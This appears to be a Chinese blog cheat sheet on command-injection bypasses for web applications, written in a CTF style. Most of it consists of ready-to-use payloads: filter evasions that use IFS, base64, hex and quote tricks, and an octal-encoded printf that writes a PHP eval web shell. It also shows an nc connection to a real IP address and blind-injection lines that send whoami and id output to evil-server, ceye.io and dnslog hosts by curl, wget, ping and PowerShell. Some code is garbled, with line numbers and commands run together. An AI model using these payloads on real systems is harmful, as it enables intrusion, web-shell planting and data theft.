命令注入总结
利用各种调用系统命令的web应用,通过命令拼接、绕过黑名单等方式实现在服务端实现想要实现的系统命令 本文记录一些Bypass的方法,技巧
直接执行代码 PHP 中有不少可以直接执行代码的函数。
1 2 3 4 5 6 7 8 eval ();assert ();system ();exec ();shell_exec ();passthru ();escapeshellcmd ();pcntl_exec ();
preg_replace( ) 代码执行
preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。
1 2 3 4 <?php $var = "<tag>phpinfo()</tag>" ; preg_replace ("/<tag>(.*?)<\/tag>/e" , "addslashes(\\1)" , $var );?>
若无 /e 修饰符,则可以尝试 %00 截断。
重定向
cmd > file 把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。
cmd >> file 把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。
cmd < file 使cmd命令从file读入
cmd << text 从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用<<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。
cmd <<< word 把word(而不是文件word)和后面的换行作为输入提供给cmd。
cmd <> file 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。
cmd >| file 功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。
: > filename
把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch的效果相同).
cmd >&n
把输出送到文件描述符n
cmd m>&n
把输出到文件符m的信息重定向到文件描述符n
cmd >&-
关闭标准输出
cmd <&n
输入来自文件描述符n
cmd m<&n
m来自文件描述各个n
cmd <&-
关闭标准输入
cmd <&n-
移动输入文件描述符n而非复制它。
cmd >&n-
移动输出文件描述符n而非复制它。 注意: >&实际上复制了文件描述符,这使得cmd > file 2>&1与cmd 2>&1 >file的效果不一样。
读文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 cat flag /{cat ,flag} more flag less flag bzmore flag bzless flaghead flagtail flag tailf flag tac flagnl flagod -a flag fire flagwc flaguniq flag diff flag flag1.txt sed -n '1,2p' flag find -P flag strings flag curl file:///root/flagsort flag bash -v flag rev flagpaste ./flag.txt /etc/passwd
Bypass 多条命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 %0 a、%0 d 换行符与回车符 | 第一条命令结果作为第二条命令的输入 || 第一条执行失败,执行第二条命令 ; 连续指令功能。 & 连接的两条命令都会执行 && 当第一条执行成功后执行后续命令echo 666 `date` => 666 Tue 14 May 2019 07 :15 :23 AM EDT Copy %0 a %1 a - 一个神奇的角色,作为.bat文件中的命令分隔符<?php $command = 'dir ' .$_POST ['dir' ]; $escaped_command = escapeshellcmd ($command ); file_put_contents ('out.bat' ,$escaped_command ); system ('out.bat' );?>
绕过 escapeshellcmd
1 2 3 4 5 6 7 <?php $command = 'dir ' .$_POST ['dir' ];$escaped_command = escapeshellcmd ($command );var_dump ($escaped_command );file_put_contents ('out.bat' ,$escaped_command );system ('out.bat' );
执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
空格
1 2 3 4 cat ${IFS} flagcat ${IFS} $9flag cat $IFS$9flag cat %09flag
黑名单绕过
从已有的文件或者环境变量中获得相应的字符。
1 2 3 4 5 6 7 `echo "Y2F0IGZsYWc=" |base64 -d`echo "Y2F0IGZsYWc=" |base64 -d|bash $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67" ) $ {printf ,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76" } >> 1.php
1 2 c"" at fl'' ag c'a' t f'l' ag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /?in /?s => ls * 0到无穷个任意字符 ? 一个任意字符 [ ] 一个在括号内的字符,e.g. [abcd] [ - ] 在编码顺序内的所有字符 [^ ] 一个不在括号内的字符 [! ] 同 ^cat fl[0-z]gecho d{a,e,i,u,o}g => dag deg dig dug dogecho {fl,fla}{ag,g} => flag flg flaag flagecho fl{0..z}g => fl1g,fl2g,...,flyg,flzg 花括号拓展{OS_COMMAND,ARGUMENT} 在Linux bash中还可以使用{cat ,/etc/passwd}来绕过 这里没实验成功
1 2 3 4 5 6 (sy.(st).em)(whoami)$_GET [a]($_GET [b].$_GET [c]) 获取内置函数 system 的索引后,直接执行get_defined_functions ()[internal] | grep ststemget_defined_functions ()[internal][381 ](whoami)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ c$@at fl$@ag flag{xxx} $ echo i$@d id $ i$@d uid=1000(wywwzjj) gid=1000(wywwzjj) groups =1000(wywwzjj) $ echo i$@d |$0 uid=1000(wywwzjj) gid=1000(wywwzjj) groups =1000(wywwzjj) $ echo {nc,47.101.220.241,2333}|$0 直接连 nc 了。。。$0 好牛逼?$0 就相当于 bash 另外 $n 表示命令行第 n 个参数 $ $0 <<<i$@d uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
1 2 3 4 5 6 7 8 $ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin $ echo $PATH | cut -c 1 / $ echo $PATH | cut -c 1-4 /usr
${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
无回显
1 curl "http://testhash.test.dnslog.link/?`whoami`"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 curl http://evil-server/`whoami ` wget http://evil-server/$(whoami ) curl xxxx.ceye.io/`whoami ` curl http://xxxx.ceye.io/$(id |base64 ) ping -c 1 `whoami `.xxxx.ceye.io http:for /F %x in ('whoami' ) do start http://xxx.ceye.io/%x dns请求: 获取计算机名:for /F "delims=" %i in ('whoami' ) do ping -n 1 %i.xxx.dnslog.info 获取用户名:for /F "delims= tokens=2" %i in ('whoami' ) do ping -n 1 %i.xxx.dnslog.infofor /F %x in ('whoami' ) do powershell $a =[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x' ));$b =New-Object System.Net.WebClient;$b .DownloadString('http://xxx.ceye.io/' +$a );
长度限制
工具